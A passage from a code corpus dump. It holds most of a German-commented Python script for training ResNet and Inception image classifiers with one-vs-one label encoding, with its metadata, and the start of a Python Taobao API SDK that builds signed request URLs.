0.00001, y_pred_scaled)\n # Alle größeren Werte als 0.99999 in 'y_pred_scaled' auf 0.99999 setzen (obere Schranke für Wertebereich)\n y_pred_scaled = tf.where(y_pred_scaled > 0.99999, zeroes + 0.99999, y_pred_scaled)\n\n # J_{OvO} aus Pawara et al. anwenden\n log_function = tf.log if tf.__version__ == \"1.13.1\" else tf.math.log # flexibel für neue / alte Version\n loss = - tf.reduce_mean(\n y_true_scaled * log_function(y_pred_scaled) + (1 - y_true_scaled) * log_function(1 - y_pred_scaled))\n return loss\n\n\ndef ovo_accuracy_metric(y_true, y_pred):\n \"\"\"Errechnet die vorhergesagte Klasse aus der OvO-kodierten Netzausgabe (y_pred) und berechnet mit Hilfe der\n erwarteten Klasse (y_true, ebenfalls OvO-kodiert) die Accuracy\"\"\"\n # OvO Matrix als Single-Precision float\n single_prec_matrix = _OVO_MATRIX_TRANSPOSED.astype(np.single)\n # One-Hot kodierten Wahrscheinlichkeitsvektor aus OvO-Kodierung berechnen\n y_true_one_hot = tf.tensordot(y_true, single_prec_matrix, axes=1)\n y_pred_one_hot = tf.tensordot(y_pred, single_prec_matrix, axes=1)\n # Klassennummern berechnen (argmax des One-Hot kodierten Wahrscheinlichkeitsvektors)\n true_class = keras.backend.argmax(y_true_one_hot, axis=-1)\n pred_class = keras.backend.argmax(y_pred_one_hot, axis=-1)\n # Zählen, wie oft erwartete und vorhergesagte Klasse übereinstimmen\n correct_pred = keras.backend.equal(true_class, pred_class)\n return keras.backend.mean(correct_pred)\n\n\ndef load_dataset(dataset_name: str, fold_name: str, train_percent: int, is_ovo: bool, img_size: int):\n \"\"\"Lädt einen Datensatz entsprechend der übergebenen Parameter\"\"\"\n # Zu ladendes Verzeichnis\n dir_to_load = _DATASET_DIR / dataset_name / \"exps\" / fold_name\n # train und test Unterordner\n train_dir = dir_to_load / (\"train_\" + str(train_percent))\n test_dir = dir_to_load / \"test\"\n\n print(\"Lade Datensatz aus %s\" % str(dir_to_load))\n print(\"Train-Bilder aus %s\" % str(train_dir))\n print(\"Test-Bilder aus %s\" % str(test_dir))\n # categorical_labels=True sorgt dafür, dass die Label als One-Hot (bzw. als Zielvektor) kodiert geladen werden\n # =False lädt einfach nur die Klassennummer\n x_train, y_train = tflearn.data_utils.image_preloader(train_dir, image_shape=(img_size, img_size), grayscale=False,\n mode=\"folder\", categorical_labels=not is_ovo, normalize=True)\n x_test, y_test = tflearn.data_utils.image_preloader(test_dir, image_shape=(img_size, img_size), grayscale=False,\n mode=\"folder\", categorical_labels=not is_ovo, normalize=True)\n\n print(\"Lade Train-Bilder...\")\n x_train = np.asarray(x_train)\n print(\"Lade Test-Bilder...\")\n x_test = np.asarray(x_test)\n print(\"Lade Train-Label...\")\n y_train = np.asarray(y_train)\n print(\"Lade Test-Label...\")\n y_test = np.asarray(y_test)\n\n assert x_train.__len__() == y_train.__len__()\n assert x_test.__len__() == y_test.__len__()\n\n print(\"Bilder im Train-Split %s\" % x_train.__len__())\n print(\"Bilder im Test-Split %s\" % x_test.__len__())\n\n # Im kompletten Train-Split (ohne train_size Prozent auszuwählen) liegen eigentlich so viele Dateien:\n complete_train_split_path = train_dir.parent / \"train_100\" # voller Trainsplit liegt im train_100 Ordner (100%)\n # Zähle, wie groß der komplette Trainsplit (100%) ist\n orig_number_train = 0\n for klasse in complete_train_split_path.iterdir():\n orig_number_train += [f for f in klasse.iterdir()].__len__()\n\n print(\"Trainiere auf %s Prozent des Train-Splits. %s / %s Bildern im Train-Split\" % (\n train_percent, x_train.__len__(), orig_number_train))\n print(\"Testsplit enthält %s Bilder\" % x_test.__len__())\n\n # wie bei Pawara et al. wird der Mittelwert der Pixel im Trainsplit vom Train- und Testsplit abgezogen\n x_train_mean = np.mean(x_train, axis=0)\n x_train -= x_train_mean\n x_test -= x_train_mean\n\n return x_train, y_train, x_test, y_test\n\n\ndef get_ovo_matrix(num_classes: int):\n \"\"\"Berechnet die OvO-Kodierungsmatrix passend zu num_classes\"\"\"\n global _OVO_MATRIX_TRANSPOSED\n np.set_printoptions(threshold=sys.maxsize)\n # Liste mit allen Klassifikatoren, gespeichert als Tupel (a,b) -> Dieser Klassifikator unterscheidet\n # Klasse a vs Klasse b\n classifier_pair = []\n # Baue Liste mit Klassifikatoren\n for lower_limit in range(2, num_classes + 1):\n for i in range(0, num_classes - lower_limit + 1):\n classifier_pair.append((lower_limit - 1, lower_limit + i))\n print(\"Paare von Klassifikatoren für die Kodierungs-Matrix:\")\n print(classifier_pair)\n # Anzahl an Klassifikatoren sollte mit dem Ergebnis der Formel aus Pawara et al. übereinstimmen\n assert classifier_pair.__len__() == num_classes * (num_classes - 1) // 2\n\n # Erstelle leere Matrix [_num_classes X Anzahl Klassifikatoren]\n matrix = np.zeros((num_classes, num_classes * (num_classes - 1) // 2), dtype=float)\n # Fülle Matrix abhängig von aktueller Zeilennummer (True Class)\n for row in range(matrix.__len__()):\n for col in range(matrix[row].__len__()):\n # Hole Klassifikator (Paar von zu trennenden Klassen) aus Klassifikator Liste\n classifier_one, classifier_two = classifier_pair[col]\n # (Paare von zu trennenden Klassen fangen bei 1 an, row und col bei 0)\n # Wenn True-Class nicht vom aktuellen Klassifikator (Spalte) getrennt wird, lasse 0 stehen\n if classifier_one != row + 1 and classifier_two != row + 1:\n continue\n # Wenn 1. Klasse von aktuellem Klassifikator der True-Class entspricht, fülle Zelle mit 1\n elif classifier_one == row + 1 and classifier_two != row + 1:\n matrix[row][col] = 1\n # Wenn 2. Klasse von aktuellem Klassifikator der True-Class entspricht, fülle Zelle mit -1\n elif classifier_one != row + 1 and classifier_two == row + 1:\n matrix[row][col] = -1\n else:\n # Sollte nie passieren\n print(\"Fehler! Kodierungs-Matrix falsch berechnet\")\n exit(12)\n # Transponiere die Matrix (macht später die Berechnungen einfacher)\n _OVO_MATRIX_TRANSPOSED = matrix.transpose()\n print(\"Kodierungs-Matrix für OvO:\")\n print(_OVO_MATRIX_TRANSPOSED)\n print(20 * \"-\")\n return _OVO_MATRIX_TRANSPOSED\n\n\ndef convert_labels_to_ovo(labels: np.array, num_classes: int):\n \"\"\"Label zu OvO-Kodierung konvertieren\"\"\"\n print(\"Mappe Klassennummer zu OvO-Vektor...\")\n ovo_encoded_labels = np.zeros((labels.__len__(), num_classes * (num_classes - 1) // 2))\n for label_index in range(0, labels.__len__()):\n # OvO-Matrix ist transposed. Spalten und Zeilen vertauscht, hole komplette Spalte zu Klassennummer\n ovo_encoded_labels[label_index] = _OVO_MATRIX_TRANSPOSED[:, labels[label_index]]\n if _VERBOSE:\n print(\"%s gemappt zu \" % (labels[label_index] + 1))\n print(ovo_encoded_labels[label_index])\n print(20 * \"-\")\n return ovo_encoded_labels\n\n\ndef evaluate_model(model, x, y_true, is_ovo, save_dir: Path, train_test: str):\n \"\"\"Wertet ein übergebenes Modell auf übergebenen Daten aus und gibt Metriken dazu zurück.\n 'save_dir' gibt an, wo die Netzausgabe, die erwartete und vorhergesagte Klassennummer als Numpy-Array abgespeichert werden soll\n 'train_test' ist lediglich ein String, um abgespeicherte Numpy-Arrays für Train und Test (im gleichen Ordner)\n voneinander zu unterscheiden\"\"\"\n np.set_printoptions(threshold=sys.maxsize)\n if is_ovo: # OvO\n # vorhergesagte Klassennummer zu den Eingabedaten bestimmen\n output_prediction = model.predict(x)\n one_hot_pred = np.matmul(output_prediction, _OVO_MATRIX_TRANSPOSED)\n predicted_classes = np.argmax(one_hot_pred, axis=1)\n\n # erwartete Klassennummer aus OvO-Kodierung bestimmen\n y_true_one_hot = np.matmul(y_true, _OVO_MATRIX_TRANSPOSED)\n y_true_classes = np.argmax(y_true_one_hot, axis=1)\n # Accuracy berechnen\n correct_predictions = np.equal(predicted_classes, y_true_classes)\n acc = correct_predictions.mean() * 100\n # Loss berechnen (mit OvO-kodierten y_true und y_pred)\n loss = ovo_crossentropy_loss(y_true=y_true, y_pred=output_prediction).eval(session=tf.compat.v1.Session())\n else: # OvA\n # Loss und Accuracy bestimmen\n loss_acc = model.evaluate(x, y_true)\n acc = loss_acc[1] * 100 # Accuracy an Stelle 1\n loss = loss_acc[0]\n # Zum Abspeichern Netzausgabe, vorhergesagte und erwartete Klassennummer berechnen\n output_prediction = model.predict(x)\n predicted_classes = np.argmax(output_prediction, axis=1)\n y_test_classes = np.argmax(y_true, axis=1)\n\n # Speichere 'output_prediction', 'predicted_classes' und 'y_test_classes' in 'save_dir' einzeln als Datei ab\n np.save(save_dir / (\"raw_net_output_\" + train_test + \".npy\"), output_prediction)\n np.save(save_dir / (\"predicted_classes_\" + train_test + \".npy\"), predicted_classes)\n np.save(save_dir / (\"true_classes_\" + train_test + \".npy\"), y_test_classes)\n return acc, loss\n\n\ndef train(dataset: str, fold: str, img_size: int, is_ovo: bool, net_type: str, epochs: int, is_finetune: bool,\n train_percent: int, learning_rate: int, extra_info=\"\"):\n \"\"\"Trainiert ein Netz mit den angegebenen Parametern, wertet es aus und schreibt die Ergebnisse als Numpy-Array\n in einen Ordner bzw. in die Logdatei\"\"\"\n global init_learning_rate, _OVO_MATRIX_TRANSPOSED\n start = datetime.now()\n # übergebene Parameter auflisten\n print(20 * \"-\" + \"Parameter für das Training\" + 20 * \"-\")\n print(\"Datensatz: %s\" % dataset)\n print(\"Fold: %s\" % fold)\n print(\"Bildgröße: %s\" % img_size)\n print(\"Kodierung: %s\" % (\"OvO\" if is_ovo else \"OvA\"))\n print(\"Netz: %s\" % net_type)\n print(\"Epochen: %s\" % epochs)\n print(\"Gewichte: %s\" % (\"Finetune\" if is_finetune else \"Scratch\"))\n print(\"Prozentsatz des Trainingssplits: %s\" % train_percent)\n print(\"Initiale Learning-Rate: %f\" % learning_rate)\n print(66 * \"-\")\n\n # Learning-Rate setzen\n init_learning_rate = learning_rate\n\n # weights setzen (Scratch oder Pretrained mit Imagenet)\n weights = None\n if is_finetune:\n weights = \"imagenet\"\n # Klassenanzahl aus Datensatz-Name ableiten (Zahl am Ende des Datensatz-Namens ist Klassenanzahl)\n last_digits = 0\n for c in dataset[::-1]:\n if c.isdigit():\n last_digits += 1\n else:\n break\n\n num_classes = int(dataset[dataset.__len__() - last_digits:])\n print(\"Anzahl an Klassen: %s\" % num_classes)\n\n # Verschiedene Netz-Varianten\n\n if net_type.lower() in [\"resnet\", \"resnet50\", \"r\"]:\n net_type = \"R\"\n # Erste und letzte Schicht weglassen (include_top=False) und eigene Input-Shape\n model = keras.applications.resnet50.ResNet50(weights=weights, include_top=False,\n input_shape=(img_size, img_size, 3))\n out = model.output\n # vorletzte Schicht wieder herstellen (so wie sie im Original Netz auch wäre)\n out = keras.layers.GlobalAveragePooling2D()(out)\n elif net_type.lower() in [\"inception-pawara\", \"inceptionv3-pawara\", \"ip\"]:\n net_type = \"IP\"\n # Erste und letzte Schicht weglassen (include_top=False) und eigene Input-Shape\n model = keras.applications.inception_v3.InceptionV3(weights=weights, include_top=False,\n input_shape=(img_size, img_size, 3))\n\n # Letzte Schichten ändern wie im Code von Pawara et al.\n x = model.output\n x = keras.layers.BatchNormalization()(x)\n x = keras.layers.Activation('relu')(x)\n x = keras.layers.AveragePooling2D(pool_size=(8, 8))(x)\n x = keras.layers.Dropout(0.4)(x)\n out = keras.layers.Flatten()(x)\n elif net_type.lower() in [\"inception\", \"inceptionv3\", \"i\"]:\n net_type = \"I\"\n\n # Erste und letzte Schicht weglassen (include_top=False) und eigene Input-Shape\n model = keras.applications.inception_v3.InceptionV3(weights=weights, include_top=False,\n input_shape=(img_size, img_size, 3))\n out = model.output\n # vorletzte Schicht wieder herstellen (so wie sie im Original Netz auch wäre)\n out = keras.layers.GlobalAveragePooling2D()(out)\n\n else:\n print(\"Netz %s wird nicht unterstützt\" % net_type)\n exit(11)\n # Verzeichnis um alles zu diesem Modell zu speichern\n current_model_string = dataset + \",\" + str(img_size) + \",\" + (\n \"OvO\" if is_ovo else \"OvA\") + \",\" + net_type + \",\" + (\"F\" if is_finetune else \"S\") + \",\" + str(\n train_percent) + \",\" + str(epochs) + \",\" + str(fold) + \",\" + str(extra_info)\n\n # mehrere Folds zum gleichen Netz zusammenfassen in Unterordner\n current_model_folder_name = extra_info + \",\" + dataset + \",\" + str(img_size) + \",\" + (\n \"OvO\" if is_ovo else \"OvA\") + \",\" + net_type + \",\" + (\"F\" if is_finetune else \"S\") + \",\" + str(\n train_percent) + \",\" + str(epochs)\n save_dir = _WORK_DIR / \"saved_results\" / current_model_folder_name.replace(\",\", \"_\").replace(\".\", \",\") / str(fold)\n save_dir_cp = _WORK_DIR / \"saved_checkpoints\"\n cp_name = str(extra_info) + \",\" + current_model_string + \".cp\"\n\n if save_dir.exists():\n print(\"Der Ordner für die aktuelle Konfiguration existiert bereits!\")\n print(str(save_dir))\n exit(13)\n save_dir.mkdir(parents=True)\n save_dir_cp.mkdir(parents=True, exist_ok=True)\n optimizer = keras.optimizers.Adam(lr=get_learning_rate(0))\n\n # Datensatz laden\n x_train, y_train, x_test, y_test = load_dataset(dataset, fold, train_percent, is_ovo, img_size)\n\n steps_per_epoch = x_train.__len__() // _BATCH_SIZE if x_train.__len__() // _BATCH_SIZE > 0 else 1\n\n # Data Augmentation (bis zu 10% shiften vertikal und horizontal, horizontal spiegeln)\n if _DATA_AUGMENTATION:\n data_augmentation = keras.preprocessing.image.ImageDataGenerator(\n featurewise_center=False,\n samplewise_center=False,\n featurewise_std_normalization=False,\n samplewise_std_normalization=False,\n zca_whitening=False,\n rotation_range=0,\n width_shift_range=0.1,\n height_shift_range=0.1,\n horizontal_flip=True,\n vertical_flip=False)\n data_augmentation.fit(x_train)\n\n if is_ovo:\n # Y-Label müssen von Klassennummer (z.B. 5) zu OvO-Vektor kodiert werden\n get_ovo_matrix(num_classes) # speichert OvO-Matrix für passende Klassenanzahl in globale Variable _OVO_MATRIX\n y_train = convert_labels_to_ovo(y_train, num_classes)\n y_test = convert_labels_to_ovo(y_test, num_classes)\n\n output_layer_size = (num_classes * (num_classes - 1)) // 2\n # Modell für OvO vorbereiten (tanh() als letzte Schicht im Netz einfügen)\n output_layer = keras.layers.Dense(output_layer_size, kernel_initializer=\"he_normal\", activation=\"tanh\")(out)\n model = keras.models.Model(inputs=model.inputs, outputs=output_layer)\n model.compile(loss=ovo_crossentropy_loss, optimizer=optimizer,\n metrics=[ovo_crossentropy_loss, ovo_accuracy_metric])\n else: # OvA\n output_layer_size = num_classes\n # Softmax Schicht am Ende des Netzes einfügen für OvA\n output_layer = keras.layers.Dense(output_layer_size, kernel_initializer=\"he_normal\", activation=\"softmax\")(\n out)\n model = keras.models.Model(inputs=model.inputs, outputs=output_layer)\n model.compile(loss='categorical_crossentropy', optimizer=optimizer,\n metrics=['accuracy', \"categorical_crossentropy\"])\n\n checkpoint = keras.callbacks.ModelCheckpoint(filepath=str(save_dir_cp / cp_name), monitor=\"val_loss\",\n verbose=1,\n save_best_only=True)\n callbacks = [checkpoint, keras.callbacks.LearningRateScheduler(get_learning_rate)]\n\n model.summary()\n # Trainiere Netz (mit oder ohne Data-Augmentation)\n if _DATA_AUGMENTATION:\n history = model.fit_generator(data_augmentation.flow(x_train, y_train, batch_size=_BATCH_SIZE),\n validation_data=(x_test, y_test),\n epochs=epochs, shuffle=True, workers=1, verbose=1,\n steps_per_epoch=steps_per_epoch,\n callbacks=callbacks) # TODO workers=4 in Pawara, thread safe warning\n else:\n history = model.fit(x=x_train, y=y_train, batch_size=_BATCH_SIZE,\n validation_data=(x_test, y_test),\n epochs=epochs, shuffle=True, workers=1, verbose=1,\n steps_per_epoch=steps_per_epoch,\n callbacks=callbacks) # TODO workers=4 in Pawara, thread safe warning\n end = datetime.now()\n elapsed = (end - start).total_seconds() / 60 # benötigte Zeit für das Training (und Laden des Datensatzes)\n\n # Speichere die history als pickle-Datei\n with open(save_dir / \"historySave.dat\", 'wb') as pickle_file:\n pickle.dump(history.history, pickle_file)\n\n # Acc und Loss für Test und Train ausrechnen\n acc_test, loss_test = evaluate_model(model, x_test, y_test, is_ovo, save_dir, \"test\")\n acc_train, loss_train = evaluate_model(model, x_train, y_train, is_ovo, save_dir, \"train\")\n # Ergebnis in Logdatei schreiben\n with open(save_dir.parent.parent / \"allModelsLog.txt\", \"a+\") as log_file:\n log_string = \"%s,%.2f,%s,%s,\" % (\n get_gpu_name(), elapsed, _BATCH_SIZE, learning_rate) + current_model_string + \",\" + str(\n loss_train) + \",\" + str(acc_train) + \",\" + str(loss_test) + \",\" + str(acc_test)\n log_file.write(log_string + \"\\n\")\n print(log_string)\n print(\"Finale Accuracy (Train): \" + str(acc_train))\n print(\"Finaler Loss (Train): \" + str(loss_train))\n print(\"Finale Accuracy (Test): \" + str(acc_test))\n print(\"Finaler Loss (Test): \" + str(loss_test))\n\n\ndef str2bool(s: str):\n \"\"\"Konvertiert einen String in einen Boolean\"\"\"\n\n if s.lower() in [\"true\", \"yes\", \"1\"]:\n return True\n elif s.lower() in [\"false\", \"no\", \"0\"]:\n return False\n else:\n print(\"Fehler: Boolean erwartet! %s ist nicht als Boolean interpretierbar\" % s)\n exit(1)\n\n\ndef parse_arguments():\n p = argparse.ArgumentParser(description=\"Training mit übergebenen Parametern\")\n p.add_argument(\"--dataset\", type=str, help=\"Name des Datensatzes in \" + str(_DATASET_DIR))\n p.add_argument(\"--fold\", type=str, help=\"Name des Foldes (z.B. \\\"exp1\\\")\")\n p.add_argument(\"--img_size\", type=int, help=\"Größe des Bildes in Pixeln\")\n p.add_argument(\"--is_ovo\", type=str2bool, help=\"True für OvO Ansatz\")\n p.add_argument(\"--net_type\", type=str, help=\"Name des Netzes (resnet, inception-pawara oder inception)\")\n p.add_argument(\"--epochs\", type=int, help=\"Anzahl an zu trainierenden Epochen\")\n p.add_argument(\"--is_finetune\", type=str2bool,\n help=\"True für finetuning des Netzes, False für scratch-training\")\n p.add_argument(\"--train_percent\", type=int, help=\"Prozentsatz des zu verwendenden Train-Splits\")\n p.add_argument(\"--learning_rate\", type=float,\n help=\"Initiale Learning-Rate (z.B. 0.001 oder 0.0001)\")\n p.add_argument(\"--extra_info\", type=str, help=\"Kommentar / Markierung für Ergebnisse im\"\n \"CSV-Log (z.B. verwendete TF Version)\")\n args = p.parse_args()\n\n # Prüfe ob alle Argumente angegeben wurden\n if args.dataset is None:\n print(\"Parameter --dataset wird benötigt!\")\n exit(2)\n if args.fold is None:\n print(\"Parameter --fold wird benötigt!\")\n exit(3)\n if args.img_size is None:\n print(\"Parameter --img_size wird benötigt!\")\n exit(4)\n if args.is_ovo is None:\n print(\"Parameter --is_ovo wird benötigt!\")\n exit(5)\n if args.net_type is None:\n print(\"Parameter --net_type wird benötigt!\")\n exit(6)\n if args.epochs is None:\n print(\"Parameter --epochs wird benötigt!\")\n exit(7)\n if args.is_finetune is None:\n print(\"Parameter --is_finetune wird benötigt!\")\n exit(8)\n if args.train_percent is None:\n print(\"Parameter --train_percent wird benötigt!\")\n exit(9)\n if args.learning_rate is None:\n print(\"Parameter --learning_rate wird benötigt!\")\n exit(10)\n if args.extra_info is None:\n extra_info = \"\"\n else:\n extra_info = args.extra_info\n\n # Trainiere mit angegebenen Parametern\n train(dataset=args.dataset, fold=args.fold, img_size=args.img_size, is_ovo=args.is_ovo, net_type=args.net_type,\n epochs=args.epochs, is_finetune=args.is_finetune, train_percent=args.train_percent,\n learning_rate=args.learning_rate, extra_info=extra_info)\n\n\ndef get_gpu_name():\n # Workaround für Modulfehler, s. Imports\n devices = tfclient.device_lib.list_local_devices()\n for device in devices:\n if device.device_type == \"GPU\":\n device_string = device.physical_device_desc.split(\",\")[1].replace(\"name:\", \"\").strip()\n return device_string\n\n\nif __name__ == \"__main__\":\n parse_arguments()\n", "sub_path": "Code/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 24049, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "pathlib.Path", "line_number": 18, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 19, "usage_type": "call"}, {"api_name": "tensorflow.zeros_like", "line_number": 52, "usage_type": "call"}, {"api_name": "tensorflow.where", "line_number": 54, "usage_type": "call"}, {"api_name": "tensorflow.where", "line_number": 56, "usage_type": "call"}, {"api_name": "tensorflow.__version__", "line_number": 59, "usage_type": "attribute"}, {"api_name": "tensorflow.log", "line_number": 59, "usage_type": "attribute"}, {"api_name": "tensorflow.math", "line_number": 59, "usage_type": "attribute"}, {"api_name": "tensorflow.reduce_mean", "line_number": 60, "usage_type": "call"}, {"api_name": "numpy.single", "line_number": 69, "usage_type": "attribute"}, {"api_name": "tensorflow.tensordot", "line_number": 71, "usage_type": "call"}, {"api_name": "tensorflow.tensordot", "line_number": 72, "usage_type": "call"}, {"api_name": "keras.backend.argmax", "line_number": 74, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 74, "usage_type": "attribute"}, {"api_name": "keras.backend.argmax", "line_number": 75, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 75, "usage_type": "attribute"}, {"api_name": "keras.backend.equal", "line_number": 77, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 77, "usage_type": "attribute"}, {"api_name": "keras.backend.mean", "line_number": 78, "usage_type": "call"}, {"api_name": "keras.backend", "line_number": 78, "usage_type": "attribute"}, {"api_name": "tflearn.data_utils.data_utils.image_preloader", "line_number": 94, "usage_type": "call"}, {"api_name": "tflearn.data_utils.data_utils", "line_number": 94, "usage_type": "attribute"}, {"api_name": "tflearn.data_utils", "line_number": 94, "usage_type": "name"}, {"api_name": "tflearn.data_utils.data_utils.image_preloader", "line_number": 96, "usage_type": "call"}, {"api_name": "tflearn.data_utils.data_utils", "line_number": 96, "usage_type": "attribute"}, {"api_name": "tflearn.data_utils", "line_number": 96, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 100, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 102, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 106, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 126, "usage_type": "call"}, {"api_name": "numpy.set_printoptions", "line_number": 136, "usage_type": "call"}, {"api_name": "sys.maxsize", "line_number": 136, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 150, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 178, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 181, "usage_type": "call"}, {"api_name": "pathlib.Path", "line_number": 192, "usage_type": "name"}, {"api_name": "numpy.set_printoptions", "line_number": 197, "usage_type": "call"}, {"api_name": "sys.maxsize", "line_number": 197, "usage_type": "attribute"}, {"api_name": "numpy.matmul", "line_number": 201, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.matmul", "line_number": 205, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 206, "usage_type": "call"}, {"api_name": "numpy.equal", "line_number": 208, "usage_type": "call"}, {"api_name": "tensorflow.compat.v1.Session", "line_number": 211, "usage_type": "call"}, {"api_name": "tensorflow.compat", "line_number": 211, "usage_type": "attribute"}, {"api_name": "numpy.argmax", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 225, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 234, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 234, "usage_type": "name"}, {"api_name": "keras.applications.resnet50.ResNet50", "line_number": 271, "usage_type": "call"}, {"api_name": "keras.applications", "line_number": 271, "usage_type": "attribute"}, {"api_name": "keras.layers.GlobalAveragePooling2D", "line_number": 275, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 275, "usage_type": "attribute"}, {"api_name": "keras.applications.inception_v3.InceptionV3", "line_number": 279, "usage_type": "call"}, {"api_name": "keras.applications", "line_number": 279, "usage_type": "attribute"}, {"api_name": "keras.layers.BatchNormalization", "line_number": 284, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 284, "usage_type": "attribute"}, {"api_name": "keras.layers.Activation", "line_number": 285, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 285, "usage_type": "attribute"}, {"api_name": "keras.layers.AveragePooling2D", "line_number": 286, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 286, "usage_type": "attribute"}, {"api_name": "keras.layers.Dropout", "line_number": 287, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 287, "usage_type": "attribute"}, {"api_name": "keras.layers.Flatten", "line_number": 288, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 288, "usage_type": "attribute"}, {"api_name": "keras.applications.inception_v3.InceptionV3", "line_number": 293, "usage_type": "call"}, {"api_name": "keras.applications", "line_number": 293, "usage_type": "attribute"}, {"api_name": "keras.layers.GlobalAveragePooling2D", "line_number": 297, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 297, "usage_type": "attribute"}, {"api_name": "keras.optimizers.Adam", "line_number": 321, "usage_type": "call"}, {"api_name": "keras.optimizers", "line_number": 321, "usage_type": "attribute"}, {"api_name": "keras.preprocessing.image.ImageDataGenerator", "line_number": 330, "usage_type": "call"}, {"api_name": "keras.preprocessing", "line_number": 330, "usage_type": "attribute"}, {"api_name": "keras.layers.Dense", "line_number": 351, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 351, "usage_type": "attribute"}, {"api_name": "keras.models.Model", "line_number": 352, "usage_type": "call"}, {"api_name": "keras.models", "line_number": 352, "usage_type": "attribute"}, {"api_name": "keras.layers.Dense", "line_number": 358, "usage_type": "call"}, {"api_name": "keras.layers", "line_number": 358, "usage_type": "attribute"}, {"api_name": "keras.models.Model", "line_number": 360, "usage_type": "call"}, {"api_name": "keras.models", "line_number": 360, "usage_type": "attribute"}, {"api_name": "keras.callbacks.ModelCheckpoint", "line_number": 364, "usage_type": "call"}, {"api_name": "keras.callbacks", "line_number": 364, "usage_type": "attribute"}, {"api_name": "keras.callbacks.LearningRateScheduler", "line_number": 367, "usage_type": "call"}, {"api_name": "keras.callbacks", "line_number": 367, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 383, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 383, "usage_type": "name"}, {"api_name": "pickle.dump", "line_number": 388, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 419, "usage_type": "call"}, {"api_name": "tensorflow.python.client.device_lib.list_local_devices", "line_number": 476, "usage_type": "call"}, {"api_name": "tensorflow.python.client.device_lib", "line_number": 476, "usage_type": "attribute"}, {"api_name": "tensorflow.python.client", "line_number": 476, "usage_type": "name"}]} +{"seq_id": "351001396", "text": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n'''\ntaobao simple sdk\nauthor:stone\nemail:thisisbaozi@gmail.com\n'''\n\nimport json\nimport hashlib\nfrom urllib import urlencode\nfrom httplib import HTTPConnection\nfrom time import time\n\n_HTTP_GET_REQUEST = 'GET'\n_HTTP_POST_REQUEST = 'POST'\n\n\n'''taoabo top paramter alias'''\n_TAOBAO_P_SIGN = 'sign'\n_TAOBAO_P_SIGN_METHOD = 'sign_method'\n_TAOBAO_P_APPKEY = 'app_key'\n_TAOBAO_P_API = 'method'\n_TAOBAO_P_SESSION = 'session'\n_TAOBAO_P_VERSION = 'v'\n_TAOBAO_P_ACCESS_TOKEN = 'access_token'\n_TAOBAO_P_FORMAT = 'format'\n_TAOBAO_P_TIMESTAMP = 'timestamp'\n_TAOBAO_P_PARTNER_ID = 'partner_id'\n_TAOBAO_P_SDK_VERSION = 'taobao-sdk-python-20121002'\n\n\n'''default config'''\n_DEFAULT_TAOBAO_TOP_REST = '/router/rest'\n_DEFAULT_TAOBAO_TOP_URL = 'gw.api.taobao.com'\n_DEFAULT_TAOBAO_TOP_PORT = 80\n_DEFAULT_TAOBAO_TOP_TIMEOUT = 30\n\nclass SdkException(Exception):\n\t'''sdk exception'''\n\tpass\n\nclass RequestException(Exception):\n\t'''http request exception'''\n\tpass\n\nclass Sign(object):\n\t'''generate sign'''\n\t_sign = None\n\n\tdef __init__(self, app_key, app_serect, app_session, app_func, func_param):\n\t\tsystem_params = {\n\t\t\t_TAOBAO_P_FORMAT : 'json',\n\t\t\t_TAOBAO_P_APPKEY : app_key,\n\t\t\t_TAOBAO_P_SIGN_METHOD : 'md5',\n\t\t\t_TAOBAO_P_VERSION : '2.0',\n\t\t\t_TAOBAO_P_TIMESTAMP : str(long(time() * 1000)),\n\t\t\t_TAOBAO_P_PARTNER_ID : _TAOBAO_P_SDK_VERSION,\n\t\t\t_TAOBAO_P_API : app_func.replace('_', '.')\n\t\t}\n\n\t\tif app_session:\n\t\t\tsystem_params[_TAOBAO_P_SESSION] = app_session\n\t\tsign_params = system_params.copy()\n\t\tsign_params.update(func_param)\n\n\t\tkeys = sign_params.keys()\n\t\tkeys.sort()\n\t\tparams = '%s%s%s' % (app_serect, str().join('%s%s' % (key, sign_params[key]) for key in keys), app_serect)\n\t\tsystem_params[_TAOBAO_P_SIGN] = hashlib.md5(params).hexdigest().upper()\n\t\tself._sign = system_params\n\n\tdef generate_url(self):\n\t\treturn '%s?%s' % (_DEFAULT_TAOBAO_TOP_REST, urlencode(self._sign))\n\n\nclass HttpRequest(object):\n\t'''http request '''\n\tdef __init__(self, taobao_topclient, method):\n\t\tself.client = taobao_topclient\n\t\tself.method = method\n\n\n\tdef __getattr__(self, func):\n\t\tdef wrap(**func_param):\n\t\t\tsign = Sign(app_serect = self.client.app_serect, app_key = self.client.app_key, app_session = 